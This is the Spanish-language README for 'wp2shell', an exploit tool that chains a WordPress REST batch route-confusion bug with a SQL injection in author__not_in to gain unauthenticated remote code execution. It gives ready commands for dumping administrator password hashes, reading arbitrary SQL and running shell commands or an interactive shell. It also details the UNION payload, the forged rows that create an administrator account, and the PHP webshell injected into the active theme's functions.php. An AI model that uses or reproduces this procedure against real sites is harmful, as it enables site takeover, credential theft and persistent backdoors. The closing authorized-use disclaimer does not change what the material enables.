
CVE-2026-63030 / wp2shell
Cadena de exploits RCE de un día para WordPress. Sin autenticación. CVSS 9.8.
Cero dependencias — solo stdlib de Python 3.8+.
| Rama | Vulnerable | Parcheada |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Dos CVEs encadenadas en Ejecución Remota de Código sin autenticación:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Solo sondeo — no destructivo, confirma vulnerabilidad
python3 exploit.py --url http://target:8080 --check
# Extraer hashes de contraseñas de administradores de la base de datos
python3 exploit.py --url http://target:8080 --dump-users
# Cadena completa: SQLi → admin → webshell → comando
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Shell interactiva (con seguimiento del directorio de trabajo)
python3 exploit.py --url http://target:8080 --shell
# Leer datos arbitrarios mediante inyección SQL UNION
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Omitir puente pre-autenticación — usar credenciales conocidas
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL URL base de WordPress objetivo (requerido)
--check Solo sondeo — no explotar
--dump-users Extraer todas las credenciales de usuarios mediante UNION SQLi
--read SQL Leer una expresión SQL escalar de la base de datos
--cmd CMD Ejecutar un comando de shell en el objetivo
--shell Abrir una shell interactiva
--user USER Nombre de usuario administrador (omitir creación de admin pre-autenticación)
--password PASS Contraseña de administrador (usar con --user)
--proxy URL Proxy HTTP (ej. http://127.0.0.1:8080)
--timeout SEC Tiempo de espera de solicitud (por defecto: 30)
--no-cleanup Dejar webshell y usuario administrador en el objetivo
El endpoint batch de WordPress en /?rest_route=/batch/v1 acepta un arreglo de sub-solicitudes. Cuando una sub-solicitud tiene una ruta no analizable (///), se agrega un WP_Error a $validation pero no a $matches. El bucle de despacho entonces empareja la solicitud N con el controlador N+1 — así que una solicitud validada contra un esquema es despachada a un controlador diferente.
El exploit envía un batch anidado de 3 niveles donde cada nivel usa un cebador de desincronización en la posición 0 para desplazar los índices. La solicitud más interna — validada como un elemento de post individual (GET /wp/v2/posts/999999) — aterriza en el controlador de colección (posts->get_items()). Dado que el esquema del elemento no define author_exclude, el parámetro pasa sin validar.
get_items() mapea author_exclude → author__not_in y lo pasa a WP_Query. Cuando author__not_in es una cadena (no un arreglo), el bloque array_map('absint', …) se omite. La cadena cruda llega directamente a:
WHERE post_author NOT IN (<payload>)
El payload 0) UNION ALL SELECT …-- - cierra la lista NOT IN y agrega SQL arbitrario.
wp_posts de WordPress 7.0.x tiene exactamente 23 columnas. Al inyectar una fila falsificada mediante UNION ALL SELECT con orderby=none (suprime el ORDER BY final) y per_page=500 (mantiene WP_Query en modo de fila completa), el título del post falsificado — que lleva un marcador ||HEX|| — se refleja en la respuesta REST. Todos los valores de cadena usan literales hexadecimales de MySQL (0x…) para evitar problemas de escape de comillas a través de la codificación URL.
[embed] → WordPress crea 3 filas oembed_cachewp_posts formando una cadena de changeset de customizer[embed] se renderiza, disparando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) y contraseña (Wp2!<random>)Iniciar sesión como el nuevo administrador → extraer nonce del editor de temas → inyectar webshell PHP protegida por token en la parte superior del functions.php del tema activo → acceder mediante ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() antes de guardar. Si el contenedor no puede alcanzarse a sí mismo por nombre de host, la edición del tema se bloquea. Use --dump-users + inicio de sesión manual en esos casos.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — comportamiento de confusión de ruta detectado!
[+] Extracción UNION SQLi confirmada — lectura en banda disponible
$ python3 exploit.py --url http://target --dump-users
[*] 11 usuario(s) en wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsela únicamente en sistemas que posea o para los que tenga permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso.
| Paso | CVE | Vector |
|---|
| 1 | CVE-2026-63030 | Desalineación de índice REST /batch/v1 desincroniza validación de despacho |
| 2 | CVE-2026-60137 | El parámetro author__not_in de WP_Query omite absint() cuando se pasa como cadena |
| 3 | — | UNION SELECT forja filas wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Autenticarse como el nuevo administrador creado |
| 5 | — | El editor de temas inyecta webshell protegida por token en el tema activo |